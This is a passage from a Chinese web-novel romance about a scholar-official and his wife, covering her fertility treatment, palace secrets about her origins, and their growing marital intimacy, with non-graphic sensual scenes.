许恪迎着阳光踏进院子,见到的就是树荫下,许清妙一脸轻松惬意荡秋千,催促着鹊枝再推高点,等到秋千荡到高处时,又发出细细的尖叫声,然后便是如银铃般欢快的笑声。 许恪默默看了会,走近,无声地换下了鹊枝,长身玉立般站*在她身后一下一下推着她荡起来。 许清妙是在回头说笑时,才发现鹊枝早不见了踪影,眼里只剩下刚从宫中回来的许恪。 一身墨色常服,头戴玉冠,像一位寻常的教书先生般低调素雅,她知他今日是去给太子讲学,没有穿官袍,如今也就只有偶尔去翰林院办公,他才会换上官服。 “哥哥,你回来了呀,怎么不出声呢?” 许清妙扭头欣喜地看着他,秋千停下来了也不甚在意。 许恪温声道:“见你玩的开心不忍打搅。” 许清妙拉着他一起坐下,许恪略有些抗拒,但还是顺着她的意思坐在了她身侧。 “哥哥,我平时不怎么玩这个的。” 她急忙解释,她从前没有喜欢过什么人,不知哥哥是不是也像书里说的一样喜欢窈窕淑女,那她这般活泼怕是不讨喜了。 许恪低头看着她,一眼便看穿她心里所想,摇了摇头认真道:“三娘不必顾及我喜欢什么,按着自己喜好就是最好的,老爷子总说道法自然,其实对于我们也一样,顺从本心,从善如流,不必拘束了天性,你刚刚的笑声笑容就很让人喜欢。” 许清妙没想到许恪会这般认真的解释,不由撒娇地将额头靠在他的肩膀处蹭了蹭,埋头吃吃的笑道:“哥哥,我真是捡到宝了。” 谁不想做自己呢? 许恪眼神深邃地看着她,这话该他说才是。 赏心悦目的俩人靠坐在秋千上说话,直到鹊枝前来提醒可以用膳了,许清妙才美滋滋地拉着许恪往饭厅走去。 等到用了午膳,俩人喝过茶,端坐在前院正堂里等着郎中过来。 “这位千金圣手是城里最有名的郎中,一会有什么不舒服的都跟他说,别不好意思不敢提。” 许恪在一旁提醒她,在他心里身体康健最重要,男女之防不该成为桎梏。 许清妙抬眼看向长兄,乖巧颔首,“哥哥放心,我懂得轻重。” 她的长兄一向如此,是外人眼中克己复礼的状元郎,更是家里人眼中想法与思想独树一帜的读书人,他对人对事都有自己的理解和看法,轻易不会受他人支配左右。 譬如,世人眼里的读书人需要斯文优雅,不屑于满头大汗的练武练剑,他却坚持强身健体、拥有自保的能力,轻易不受外人眼光干扰。 第26章 第26章 林大夫是一位鬓角霜白的中年人,脸黑话少,一只手搭在许清妙的手腕上把脉,眼睛看向别处。 屋里安静得能清晰听见窗外的声声蝉鸣,许清妙抵住困意,打起精神等候他的诊断。 沉思良久,林大夫才用古井无波的声音道:“宫寒体虚,难以受孕,以前看过郎中吗?” 许清妙望了眼许恪,微微颔首:“看过的。” 林大夫也看了眼许恪,略顿,问许清妙:“夫人可需要回避说话?” “啊?” 她一时没想明白为何要回避说话,难道病情很严重了? 许清妙迷糊地将目光投向了许恪,许恪眸光一闪,了然林大夫话里深意。 他朝许清妙投去一个安抚的眼神,转头对林大夫淡然说道:“不用回避,林大夫大可直说,她的情况我早就清楚。” 许清妙抿了抿唇,哥哥在诓人,如今连大夫都敢诓。 林大夫似乎见怪不怪,见她迟迟不吭声,也就不再犹豫,直言道:“夫人寒气入体已久,宫寒之症有些年月,要想尽快有孕不太可能,但悉心调理后,是能痊愈的。” 许恪颔首恭敬道:“不知林大夫可有好法子?” 林大夫收回了把脉的手和垫枕,慢悠悠道:“法子倒是有的,只是此法需遵守的事项繁杂,你们能一一照做吗?如果不能倒不如不用,免得没有疗效还砸了我的招牌。” 许清妙错愕地看向这个一本正经的医者,没想到他说话这么直接,不听医嘱就不治。 林大夫并不在意许清妙的眼神,只淡定地收拾随诊的医箱。 许恪连忙起身,双手交叉行了一礼,诚挚地说道:“还请林大夫明说需遵守的事项,我们诚心求医自当遵守。” 林大夫听了颔首,却没马上答应,只是看向许清妙,等着她表态。 许清妙略一想便知道这大概是林大夫的“怪规矩”。 据说大雍民间流传过一些关于名医的传闻,据说他们医术高超,但想得到他们的医治,总是会有这样那样的一些古怪规矩,只有遵守了他们的规矩才会被收治。 “我们定当遵守,还请林大夫医治。” 许清妙给了承诺,林大夫才坐好,开始面无表情地说话:“治病救人本就是需要大夫和病人双向配合,如果病人自己不配合,我就算是神仙在世,那也是治不好的,所以丑话说在前头,还请两位见谅。” 俩人不敢有异,纷纷颔首。 “需要你们配合的事情就俩件,第一按时服药,内服外敷泡澡都得按时按量进行;其次,治病期间房事有规律进行,阴阳调和见效最快,每三日一次即可,不可贪多也不可没有。” 前面的话,许清妙都认真听着,等到听清最后的话,她尴尬地抠手指。 她低着头不吭声,许恪脸上平静地颔首:“定当遵守。” 林大夫突然生硬地扯出一个冷笑:“夫妻敦伦人之常情,不用害臊,等下我把方子写下来,你们按方抓药,内服药和外敷药包分别放置,具体的使用方法我也写清楚在纸上,你们自己照着做。三个月后,我再来复诊,如果没有按要求做,下次复诊我就不治了。” 这脾气不可谓不臭呀! 目送林大夫走远,许清妙趴在椅子上深深地舒了一口气:“这林大夫可真硬气呀,都不怕哥哥的官职吗?” 许恪不以为意地笑了笑:“有本事的人有点脾气很正常,名医更是如此,别说哥哥这个芝麻大点的京官,就是太后娘娘要治病也得捧着他们,生死面前无人能侥幸。” 许清妙起身坐好,看着桌子上的药方,三张草纸写的满满当当,字迹清楚,服药步骤详略得当,确实是一位很周全的大夫。 只是不由想起那最后一项事情,她就觉得局促,偷偷看了眼许恪的神情,丝毫不见异样。 “我去将药方再誊抄一份,再让随安去抓药,三娘先回房午休?” 许恪自然看得出许清妙的不自在,但有些话不适合现在说,他打算晚上与她详谈。 许清妙自然求之不得,喊了鹊枝进来,伺候着她进了内室休息去了。 许恪拿着药方走了,他并没有直接叫随安去抓药,而是另外誊抄了一份带在身上进了宫。 等到给太子讲课结束,他特意留出来半个时辰,匆匆往太医院去了。 太医院的医正里有一位精通妇科的圣手李医正,只是他供职太医院,无诏很难给外面的人瞧病。 许恪能知道李医正,还是因为他在书房见到了这位医正亲写的药方,但这药方只是治疗普通的风寒之症。 这很奇怪,但既然这三年的他留着了,那说明他对这位李医正还是信任的。 太医院到了下值时分,并不忙碌,他匆匆赶到,倒没有跑空。 李医正今日正当值。 许恪并没有进去,而是让人将李医正叫了出来,俩人在院子外的树荫下说话。 李医正见是他,皱紧了眉头,喃喃道:“你怎么找到这里来了?可是有什么人病了?” 语气关心,神情却有些紧张。 许恪觉得奇怪,却说不出所以然,只将药方拿了出来:“还请医正瞧瞧,这方子可是治宫寒的?” 许恪看过很多史书典籍,医书看的也不少,但并不精通,这样的名医开的方子,他不敢擅自肯定与否。 李医正松了口气,接过来快速看了一遍,边看边点头:“好方子,开这方子的人医术高超,你可以放心用。” 得了他的肯定,许恪心里有了底,知道自己是多担心了,但事关许清妙,他不觉得多此一举。 “多谢医正帮忙。” 李医正脸上皱纹深如田间沟壑,皱着张脸问他:“这是给你夫人用的?” 许恪颔首,也不隐瞒:“是的,以后我们想有个孩子。” 李医正浑浊的眼睛看了他片刻,颤巍巍拿过他手里药方单子,指着药方说道:“那这里面的这味桃仁换成芍药花,这桃仁恐会令人不适。” 许恪谨慎应下,他知道这药方的君药用的桂枝、吴茱萸,辅药用的川穹、当归,又配了麦冬、阿胶,李医正将桃仁换成成芍药会更柔和,对整个药方只是微微改善了,确实没问题。 李医正说完后,就晃悠悠往回走,“行了,你回去吧,好好照顾夫人。” 许恪恭敬道了谢,心里却不由疑惑,这李医正似乎不仅对他熟悉,对清妙也是认识的。 许恪目送着李医正走远,也利落地往宫外走,得赶在宫门关闭前出去。 夕阳西下,余晖撒在宫苑墙角,李医正回身看向已经走远的许恪,低低地叹了口气。 他这辈子能知道主子有一丝血脉尚在,已经知足了,万万不敢让任何人知晓,包括这位机敏过人的许翰林,他一定会保守这个秘密到死的。 还好,他这这把年纪没有两年好活了。 只有他死了这个秘密才能永远埋于地底,小主子才可以安心地活在外头。 · 烈日晒了一整个下午,屋里开着窗户也开始热气蒸腾。 许清妙是被热醒的,屋外的蝉吟不知几时停了,风声也没了,整个世界似乎都安静了下来。 她坐起身来擦了擦汗,身上穿着轻薄的白色中衣,长衣长裤,好热。 床前的架子上摆着一盆清水,她站起身去洗了脸,凉水洗过人也清醒不少。 拉了拉衣袖,她眼睛瞥向另一个架子,那上面挂着各式夏衣,有清爽的褙子,有低领无袖的短衣,都很凉快。 可是,她从没穿过,或者说三年前没嫁人时她从没穿过。 她坐在一旁的凳子上,捂着脸一会看看短衣一会看看窗外。 这三年里的她,变化太大,各式各样的饰品,衣裙,最大的变化还是她整个人都大胆又自信了。 咬了咬牙,她拉响了铃铛,鹊枝闻声进来,“小姐,是要换衣服吗?” “嗯!找套凉快点的给我换上,刚刚热醒了。” 她特意强调热,鹊枝果然拿了衣架上那套短衣短裤过来。 “鹊枝,这套会不会太短了?” 鹊枝惊讶道:“小姐,你不是最喜欢这套夏衣吗?在自己院子里穿没关系的,出门再换裙子就成,而且这套衣裳是你自己打的样式,让我照着做的呀。” 许清妙无语扶额,竟然是她自己让做的? 那就试试吧! 她换上轻便的短衣短裤,短衣没有长长的袖子,裤子也只堪堪盖住膝盖,脚下的鞋袜是轻纱薄款,再踩上一双丝质镂空绣鞋,整个人过分凉爽舒服了。 突然就想感谢曾经的自己。 她笑意盈盈地坐在屋子里喝了碗银耳莲子羹,笑容还没来得及收拾,许恪就从门外进来了。 许清妙想都没想,一溜烟的扎进了拔步床里,将厚厚的床幔给扯了下去。 挡住了,许恪看过来的目光。 “我穿太少了,哥哥你别看。” 鹊枝见许恪进屋,默默地拿起托盘往外走了,顺便关上了房门。 她就不信,翰林见了小姐这般样子还能忍得住。 第27章 第27章 夜色深深,小院伙房灶台上正烧着一大锅热水,水汽蒸腾。 “不用添炭了,水温着就成。” “怜丫头,你鹊枝姐姐让你来的?这都好久没让备这么多热水了,今儿少夫人屋里头又有动静了?” 烧水的婆子是个话多的,不敢在鹊枝面前瞎打听,就拉着跑腿的怜丫头磨牙。 炉子里的炭火通红,俩人坐回窗边风口上乘凉。 “朱婶子,你可别拿主子屋里事嚼舌,仔细也被赶到园子里去养猪。” 怜星本是云田老宅的下等小丫头,如今被少夫人赏识带到了京里,不仅给她取了好听的名字,还让她在鹊枝手下做了二等丫头,这份恩情她是铭记在心的,自然见不得有嘴碎的下人编排主子。 朱婆子缩了缩脖子,不敢再过嘴瘾,主子的事的确不是她能说三道四的。 俩人闭嘴不再说话,守着炉子渐渐打起瞌睡,却不敢真睡,半分清醒地等着主子叫水。 幽月下的院子里空无一人,只见那正屋的窗户透出点点光亮,一道修长清俊的身影映在窗上。 许恪捧水洗了脸,如刀削的鬓角上沾着点点湿意,一双黑沉沉的眸子看向床榻,许清妙两只月白的胳膊正抱着他的枕头睡得香甜。 女郎额间碎发被汗打湿,黑色贴着雪白,卷翘的眼睫上似是还隐着泪花,一张粉唇瓣微微肿起。 似海棠半含朝雨。 不想身下再次传来意动,许恪克制地收回目光,却难以抑制地回想起自己刚才的失控。 彼时,许清妙躲在床幔后不愿出来,许恪担心她中暑,刻意说话转移她的注意力。 “我让随安抓了药回来,你可想好了几时服药?”许恪撩袍坐在床前矮踏上,隔着一层床幔轻轻说着。 床幔后的人正捂着丝帕蒙在脸上,闻言,撩起帕子侧头看向他。 “饭后即可,哥哥可备了霜糖?” 许恪温声道:“自然备好了,你要不要出来同我说话?” 许清妙迟疑片刻,缓缓伸出手牵起床幔往外瞟了一眼,见他坐在塌旁守着她。 她刚想松开手躲回去,不想被他捉住了手腕,轻轻地拉过去包裹进了掌心。 “三娘为何还这般避着我?” 许恪声音轻缓,似是有些困惑。 许清妙本想抽出手腕,又停下,反而倾身隔着床幔靠近了些。 “哥哥!我只是没穿过这样清凉的衣裳,有些不习惯。” 许恪握着她的手,低头把玩,指尖粉白,手指纤细白嫩,小小的被他一只手全部包裹住。 “那就慢慢习惯,先把床幔拉开好吗?” 许清妙轻轻地嗯了一声,身前的床幔便被缓缓拉开,许恪一只手握着她,一只手拉着床幔,仰头望着她。 “哥哥起来吧,不用坐踏上。” 那脚踏惯来是给守夜的丫头坐的,他如此坐在那里,倒像是要服侍她的侍从了。 可哪有如此俊俏的侍从守在女主子床前的? 许清妙脸上发热,低头拉他起身,俩人并肩坐在了床上,粉色绣幔被撩开挂上了金钩。 窗外的余晖映出晚霞,染红了整个天空,渲染得屋子里晕红一片。 “哥哥要与我说什么呢?” 她的手仍被他握着,她便用手指戳了戳他掌心,唤他。 许恪自觉有些失神,收敛心神回道:“想问你林大夫交代的事情,你怎么想?” 许恪问的隐晦,但许清妙立马就知道他在说每三日一次房事的奇怪医嘱。 这种事情,可以不想吗? “哥哥呢?你怎么想。” 许清妙前日翻过床内侧的小匣子,里面装着几本图册,她一时好奇翻开看了看。 这一看,看得她小脸通红,连忙合上,但没过一会她又重新翻开了,因为她实在好奇。 既然想继续与长兄做夫妻,她就得好好进步。 于是,那天午休后,她躲在屋里红着脸看完了那两本册子。 原来成婚后,夫妻不仅要亲亲抱抱,还要这样那样,才算是真正的夫妻。 许恪看着她,一字一句道:“我愿与你做一世的夫妻,所以我不急。” 许清妙回望着他,“哥哥,你的意思是你也喜欢我,对吗?” 许恪闻言浅浅勾起唇角,“对,不止如此。” 许清妙闪亮亮的眼睛,惊喜的看着他,“哥哥,我很开心。” 她忘了身上的衣服,也忘了害羞,推开盖着的轻纱扑进了他怀里,两只雪白的手臂缠在他的腰间紧紧搂住。 许恪心底猛的一震,视线难以移开,他的身体甚至比他更加熟悉怀里的娇躯,手臂有自我意识般抱在了她背后,将人紧紧地锁在胸前。 许清妙闻着许恪身上清爽的气息,心安又熟悉,似是跋山涉水的旅人回到了故土。 两个原本就彼此熟悉习惯了的身体,抱在一起不可避免地起了反应。 许恪搂着她不动声色地暗暗调整呼吸,既舍不得推开她,又怕吓到她。 许清妙只觉得面红耳赤,画册里的画面都在她脑海里变成了她和哥哥的模样,实在太过羞耻了。 “那哥哥,我们会遵医嘱的,对吧?” 她开口的声音软软糯糯,依赖着他做决定。 许恪闭了闭眼睛,哑声道:“嗯,说话算数。” “那我们试试?” 许清妙不知道自己怎么说出这句话的,但话已出口,她也不反悔,反倒是有些期待。 许恪一愣,不由低头看向她,白皙的手指轻轻托起她的下颌,“现在?” 许清妙面若桃李,圆润的眼眸忽闪着,暗道糟糕,哥哥好像误以为她说的试试了。 她低垂着眼眸不吭声,似是默认。 既然哥哥想现在试试,那也不是不行。 不待她再开口,一股温热清新的气息迎面而来,她的唇瓣被他轻轻咬住了。 对,没错,是咬住了。 接着便是不同于上一次轻柔克制的亲吻,而是火热中带点酥麻的轻咬。 她不由轻呼出声:“哥…” 却被他卷走了所有声音,搂着她的手掌捧在她的后颈,修长有力的手指轻轻地捏住,控制着她。 “怕了?这么大胆让我试试,现在还要吗?” 许清妙仰着头看向许恪的眼睛,如湖水的眼底渐起涟漪,倒映出她的样子。 微张着的红唇泛着水光,欲语还休的眼睛,她明明没有半点害怕。 “不怕,哥哥怕了?” “我知道哥哥有洁癖,不喜跟人亲近,是哥哥还有不快之处?” 她轻声细语,缱绻旖旎。 许恪以唇轻点她的鼻尖,缓缓下移:“我不喜外人亲近是真,但夫人不是外人。” 话落,滚烫的呼吸再次覆过来,直到她迷迷糊糊间喘不过气来。 许清妙搂着他的脖子,软软的靠在他的怀里,她喜欢他亲她。 哥哥还叫她夫人! 窗外天色渐暗,许恪却没有再停下,一直搂着她亲,从额头眉间,到下颌颈窝,渐渐一路向下。 床幔不知何时落下,挡住了仅有的些许天光,不知是谁的衣物先落下,直到传来一声轻呼。 “害怕了?” 许恪暗哑克制的声音再次响起,似乎她说怕了,他就会真的停下。 许清妙伸手推他,却被他抓住了手指,十指交握。 “没有…没有害怕…” 明明嘴里说着不怕,可还是抖得不行,可怜兮兮的又勇敢无比。 许恪知道自己失控了,他从懂事起遵从的克己复礼、修身养性,完全不够用了,他一遍遍沉迷其中。 听她叫着哭着说怕了,怕了,他也没心软。 贪欢成瘾。 等到风停雨歇时,她已经累得睡着了,而他仅仅站在床前看她一眼,就心绪难平。 天色已经全黑,他亲自出去叫了水。 鹊枝低着头不敢看许恪的样子,她早有经验,这时候的翰林不能看,是会夺人心魄男妖精。 她可不想生出不该有的心思。 许恪穿着长袍,盖住了身上的痕迹,却盖不了屋子里的气味。 鹊枝身后跟着的丫头,拧了帕子想过来伺候,被他一个眼神制止,红着脸退了出去。 鹊枝只管拧了帕子去给许清妙收拾,只是刚走近床前,就被许恪打断。 “你也下去,一刻钟后进来收拾。” 鹊枝恭敬退下,什么话也没多说。 这样的情况也发生过,翰林给小姐擦洗收拾干净,可第二日,小姐就闹了,不让翰林帮忙。 后来,翰林收拾完还让她进屋收拾一趟,纯属走过场。 许恪自然不知道有这些讲究,拧了毛巾给许清妙擦洗。 这一夜,那伙房灶台上的热水用尽了,丫头婆子都知道屋里两位主子又“和好”了。 隔日,日上三竿,天光刺眼,许清妙才缓缓清醒,这一夜她睡得很沉,也很舒爽。 身边已经没了许恪的人影,她松了口气,不在才好,不然她少不得羞涩一阵。 昨儿夜里的画面冲击太大,比她看的画册吓人多了,冷清清的长兄像变了一个人似的,用最温柔的语气说出最不要脸的话。 许清妙捂着脸冷静好一会,才拉了铃唤人进屋伺候梳洗。 等到再次坐在厅里用饭时,她才觉得自己重新活过来了。 只是刚搁下筷子,屋外就传来许恪的说话声。 “夫人醒了吗?” 第28章 第28章 屋外传来宁妈妈响亮的说话声:“翰林,少夫人在厅里用膳呢,这么热的天,特意让厨房做了易克化的红枣粳米粥。” 许恪的脚步声往厅里来,许清妙有片刻想把自己藏起来,总觉得这么青天白日的太过亮堂了。 她回想起昨夜的孟浪就不想见人。 厅里的丫头婆子都喜滋滋的,一听到许恪过来,已经撩起珠帘等着他进来了。 许清妙避无可避,只能又端起碗假装喝粥。 许恪进来后,丫头婆子们自觉的退到了门外,厅里就剩下他们俩。 眼角的尾光扫到他撩袍坐在了身旁,许清妙不能再装没看到,低着头轻声问道:“哥哥怎么这个时辰回来了?” 今日并不是官方休沐日,他应该在太子跟前讲学的。 许恪一眼看出她的不自在,“今日午后过去就行,你可有哪里不舒服的?” 昨儿夜里她哭得太厉害,自己虽然小心翼翼,却也有控制不住的时候,就怕她有不舒服却不好意思开口。 许清妙的脸颊肉眼可见的红了,连着耳后都是红艳艳的一片。 她抬眼看他,一双水润的眸子如碧溪般清澈,只瞥了他一眼就背过身子不看了。 “没有不适,哥哥快别问了,真羞人。” 许恪难得的低头笑了,却不敢发出声响,怕她更难为情。 “可有想要之物?我下值回来带给你。” 他从随安那处知道,从前的他下值后,隔三差五都会从街上给她带着小玩意,或胭脂水粉或蜻蜓发饰等。 他想还和以前一样,让她过得自在快活。 许清妙转身诧异地看着他,“我那梳妆台上各种各样的趣玩都是哥哥送的?” 许恪颔首。 她不由想起在云田时,鹊枝给她收起来的那个令人脸红的小匣子,莫非那也是他送的? 自从看过画册子,她已经知道那匣子里装的是何物了。 实在想不到哥哥这般月朗风清的俊雅人物,也会送她那些房中趣意之物。 而那时候的她肯定也是得趣的,不然怎么会将那匣子带去了云田呢。 越想越觉得臊得慌。 “哥哥,我没有什么想要的,我还有些乏力想去榻上再靠会。” 她红着脸跑了,丢下许恪一个人回了里间。 许恪失笑,只道她害羞得比昨儿夜里还厉害。 许清妙回了房,趴在软榻上,捂着火热的脸胡思乱想。 在闺中时,哥哥是她仰慕的兄长,也是闺中密友偷偷倾慕的郎君,她们偶尔会笑闹谁要是嫁给许大郎会有多幸福,那时候她也曾偷偷将兄长代入夫君的样子。 知慕少艾,却不曾想,也有梦想成真的一日。 “哎!” 她刚刚怎么这般没出息跑了。 门口传来脚步声,许恪还是不放心跟了过来,见她趴在榻上唉声叹气。 不由疑惑,可是他哪里没做好? 许恪躬身坐在了她身旁,许清妙不用回头也知道,他正看着自己。 一只白皙有力的手搭上她的肩头,将她缓缓托起,一个转身,她便落入他清爽宽阔的怀抱。 呼吸间,全是彼此的味道。 少倾,许清妙伸出手箍着他的腰身,仰头看他。 女郎媚眼如丝,郎君眼若明月,相视而笑。 “清妙,闭上眼睛。” 许恪垂目,难掩情动。 许清妙尚来不及合眼,便被他捧着亲上,轻辗慢探,唇齿纠缠。 窗外喜鹊躲进树梢,只有那调皮的知了,时不时发出间断的蝉鸣。 屋里渐渐只剩水声和呼吸声,良久。 “还害羞吗?” “嗯。” “那就是还不够。” 许清妙捂着嘴张大眼睛看着他,什么还不够? 许恪亲啄她手背,低低的声音:“我思来想去,大概还是亲的不够,做的不够,夫人才会放不开。” 许清妙连忙伸手捂住他的嘴。 眼角含春,圆圆的眼睛瞪着他。 积石如玉,列松如翠,惊才艳艳的状元郎怎么能有如此孟浪的想法。 “哥哥,不许胡说,叫婢女听见了没得笑话咱们。” 许恪搂着她,低声应承:“夫人说什么就是什么,我都听夫人的,只是别再躲着我了。” 许清妙轻轻掐了下他的腰,一晚上过去,他这夫人喊的越发的顺口了。 “哥哥,不许再逗我。” 许恪颔首,亲了亲她的鬓角,认真承诺道:“不逗你。” 俩人一番闹腾,许清妙心底那点尴尬和闪躲果真消减。 等到许恪出了门,她一人待在屋里,看向铜镜中的自己,眉目含笑,风情半露,是很快乐的模样。 鹊枝端着熬好的汤药进屋,许清妙已经收敛了表情,稳稳当当的坐在桌前看话本。 只是那话本明显没有翻动过,上回看到这里时,还是鹊枝给她夹好的签子。 谁又看不出,她家小姐心思根本不在话本上了呢。 “小姐,今儿起可得按时吃药了,等养好身体生个小郎君或小女郎,小姐就再也不用担心外面的人说闲话了。” 许清妙不解问道:“除了娘和祖母催生,还有人说闲话?说了什么?” 鹊枝疑惑地看着她,小声提醒:“小姐不记得了?京里有些好事的,编排小姐三年无出,怂恿翰林纳妾生子呢,后来翰林跟他们都断交了。” “可那些人忒不要脸,明明都是老少爷们的,私底下却糟乱的很,他们还传…还传翰林表面风光月霁,背地里好男风。” 许清妙猛地站了起来,砰一声丢下书中话本,狠狠道:“哥哥就任由他们背地这般诋毁?你可知晓是哪些人在背后使坏?” 鹊枝连忙拉住她,安抚道:“小姐别生气,怪我多嘴,其实这事翰林已经处置过了,为此还得罪了他的部分同僚。” 想也知道,肯定是那些人找许恪一起喝花酒、逛青楼被他给拒了,他们就排挤他污蔑他。 世间脏水总是喜欢往干净处泼呗。 只是没想到前有长公主府谣传他风流,后有同僚污蔑他好男风,这样风马牛不相及的谣言也能用在他一人身上,实在是荒唐离谱。 “把药端过来吧,糖呢?” 她再生气也没用,嘴巴长在别人身上,况且哥哥现在应该记不得这些事情了,她也没必要去跟他提起,平白惹他烦恼。 “小姐,你看,糖早就备好了。” 一只小碟子里码着整整齐齐的一块块小方糖,上面裹着白色的糖霜,正是她喜爱的生姜霜糖。 午后,她没再午休,带着鹊枝去了一趟王氏屋子里。 她到的时候,王氏正与俞娘和云竹说话,交代她们跟着许意去了制衣坊,要守规矩切不可惹出闲话来。 许清妙在一旁听了一会,王氏也不避着她,等到说完才问她过来可是有事。 许清妙本想与王氏探听这三年的事情,一想王氏常年在云田恐怕并不清楚京城里的事情,但眼下就有一人肯定清楚。 她看了眼俞娘,笑着对王氏说:“娘,我并无要事,就是过来给您请安的。” 王氏捂嘴笑道:“你有这份心就行了,这会子娘说累了,乏得很,你且先与她们一起回去,明日再找你说话。” 许清妙从善如流,看着王氏进了里屋后,带着俞娘和云竹也出了院子。 她看了几眼俞娘,将有话要说的意思表达很明显,云竹很有眼色的先走了一步。 等到只有俞娘留下时,许清妙让鹊枝去远处守着,才转身看向俞娘。 “少夫人,可是有话与我说?” 俞娘声音清冷,表情也淡,一双眼睛里有与年龄不符的看破世事后的沧桑。 许清妙话到嘴边,又不忍开口,她想问的事情会让俞娘想起不好的事情吧。 俞娘似是看出她的犹豫踟蹰,帮她开口道:“可是想问我关于翰林的事情?” 许清妙面带惊讶,“俞娘如何知晓?” 俞娘浅勾了一下*唇角,缓缓道:“你我并无交集,除了翰林,应该无话可说,而且少夫人心地纯良也不会随意找我麻烦。” “少夫人可是想问我,坊间关于翰林的传闻?” 许清妙颔首,既然她主动提起,想来是不介意说起的吧。 “少夫人可以放心,其实都是些酸言醋语,无稽之谈,楼里的姑娘对翰林也从不敢真有什么妄想,不过是他的才名满京华,当年那首催妆诗更是打动无数可怜人。至于那些好男风的风言风语,少夫人更不必介怀,所有人不清楚,难道您还清楚吗?” 许清妙脸上泛粉,颔首道:“多谢俞娘解惑。” 如果是这三年里的自己,肯定不会找她问这些吧。 但现在的她,是真的想知道外面的人是怎么说的,她在意哥哥清清白白的名声。 而俞娘早就不信男情女爱,可看着成婚三年还能清澈如初的许清妙,她也难忍羡慕,甚至掺杂着不可回头的悔。 不忍再看,她先撇开了头。 许清妙被她的眼神震撼,那样一双美丽的眼睛,却饱含复杂与挣扎,看了令人心生怜惜。 “俞娘,你跟着二哥会过得很好的,他可能给不了你一心一意的宠爱,但他能让你活得更自在的。” 俞娘没再看她,只颔首道谢:“谢谢少夫人,您是我见过最可爱的人。” 第29章 第29章 月色溶溶,暗香浮动。 许清妙泡过药澡,换上清凉的天蚕丝小衫,搭配一条丝绸薄裤,正披散着黑发站在窗边乘凉。 屋外的栀子花不知何时悄悄开了,幽幽的清香随风吹来,屋里伺候的丫鬟都已退下,无人打搅。 许清妙看了眼同样洗漱好,正端坐在小桌旁看信的许恪,一双眼睛专注而平静,信里大概说了什么不大好的事情,好看的眉锋微微蹙起。 待他看完,修长的手指捏着那信纸凑到火烛上,点燃丢进了洗笔池里,转瞬即逝的火光映在他脸上,有一瞬的肃杀之气。 许清妙心中触动不由走近,出声问道:“哥哥,可是遇到麻烦事了?” 许恪轻轻摇头,黑眸看向她,自然地伸出手将她拉近身前,轻声回答:“不麻烦,跟我们关系不大,烧了就好。” 他不会告诉清妙,那是一封关于大皇子结党营私的弹劾信,他猜送到他手里的也只是这些弹劾信中的一封,今晚接到这封信的人肯定不止他一人。 他不准备理会,就当他从没见过。也不管他如今是不是太子侍读,他都不会主动卷入党争或者皇子的皇位之争。 许家只做纯臣。 许清妙颔首,哥哥不愿说的事情她不勉强,左右不过是公事,她知道了也帮不上忙。 她推了推他的手臂想坐在一旁的凳子上,却被他一把扶住腰侧坐在了他的膝上。 “哥” 她靠在他怀里想挣扎,还不习惯被他像小孩子似的抱坐在怀里。 “别动,我们说会话。” 许清妙抬眼看他,光洁的下颌往下是随着说话而滚动的喉结,那里与自己是不同的模样。 她不由伸手摸了摸自己的喉咙处,又伸手摸了摸他的,心思全然不在跟他说话上,嘴上却应接道:“哥哥想说什么呢?” 许恪低头看着她作乱的手,无奈只能任她指尖拂过,似乎拂过的是他的心尖,几次后,实在忍不住抓着她的手锁在手心,克制地低声说道:“想不想去京郊观星台,这几日天气晴朗少云很适合观星。” 许清妙不由双眸锃亮,坐直了身子看向他:“想去的,但哥哥你有空吗?” 许恪略思索,含笑道:“这几日太子估计没心思听课,明日我便进宫请事假,歇个两三日应是无事。” 那些弹劾大皇子的信,连他都能猜到是太子背后的曹国舅出手了,那太子身边人自然更加清楚。 可惜太子年纪小,胆子更小,知晓了这事,恐怕又得“病一场”了。 他虽教导太子读书,却跟太子身后势力并不亲近,这也是皇帝将他安在太子身边的一个原因。 许清妙开心地捧着他脸亲了一口,亲完又羞涩地躲进他的怀里不肯看他。 许恪不由浅笑,“就这么开心呢?我也是有私心的,既想陪你游玩换取好感,又想趁机避开京里纷乱。” 许清妙额头蹭在他脖子间,毫不介意道:“哥哥说什么呢,这怎么是私心,我们夫妻一体,如今既能避开麻烦又能有时间陪我,一举两得的事情,我开心还来不及呢。” 许恪下颌抵着她的发顶蹭了蹭,搂着她低声笑:“怎么办,有些不想遵医嘱了。” 许清妙微楞,转瞬又明白过来,抬手往他肩膀捶去:“不许说。” “不说,那去就寝可好?” 许清妙低着头轻轻嗯了一声。 她抬脚想从他腿上下来,却被他阻止。 “搂紧我。” 许恪单手搂着她的腿,将她抱起来了。 不过三步的路,顷刻间,俩人便躺倒在拔步床里,床幔被他扯下,外面的烛火没有熄灭,微弱的光透过床幔照在俩人身上。 他们心里都知道,今晚甚至明晚他们都不能发生点什么,但还是抱在一起,听着彼此的呼吸与心跳。 许清妙觉得自己感觉还好,虽然想与哥哥贴更近,但就这么听着他的心跳也能睡着,可他好像不行。 明明冷清清的一个人,此时却浑身滚烫,特别是搂着她的那双手,时不时抚过她的肌肤,克制又留恋,总让她感觉下一秒他就快忍不住了,却又能稳稳地落在她的背后紧紧抱着。 她不由想起,有一年的冬至日,他因受寒发烧在家休养,王氏带着年幼的她去看望。 清冷的屋里,只见他烧得整张脸都通红,却还是倔强地靠坐在书案前,手不释卷低头看书,一旁小厮用拧干的湿毛巾时不时给他额头降温。 他的坚韧或许与生俱来,但她还是看了心生怜惜,那时候她就想帮帮他。 “哥哥,你难受吗?” 她还是明知故问,细白的手指穿插在他的指间,轻轻摩梭着他的指骨,侧脸贴着他的下颌,一下下感受他喉间滚动。 “还好,你别动,等你睡着了就好了。” 许清妙听出他的话外音,看来他前面这些日子跟她睡在一起都伪装的很好。 “可是,我还睡不着,哥哥需要我帮你吗?” 她的声音如一汪清泉流过,带给他短暂的舒解,许恪难以抗拒,“不后悔?” 许清妙摇摇头,她是看过画册的,而且昨晚跟他都那样了,夫妻间有什么后悔的呢。 许恪低垂着眼眸看着她,火热的唇凑近,亲着她耳垂,“那辛苦你了。” 许清妙起初不理解“辛苦你”这话的含义,一心只想着让他好受些。 半个时辰后,她的两只手酸的像不是自己的,他却还没好时,她才欲哭无泪的后悔了。 “好了吗?” 她埋在他胸口,颤颤巍巍地问他。 她忘了他们是成婚三年的夫妻,熟悉的身体早就习惯了彼此,她的手根本不够。 许恪低沉如水的声音响起:“快了!” 不给她机会再催,只低下头堵着她的唇亲得更加放肆,舌尖勾着彼此,你来我往,抵死纠缠。 他也失算了。 直到夜深了,星星都暗淡了,许恪才低声叫水。 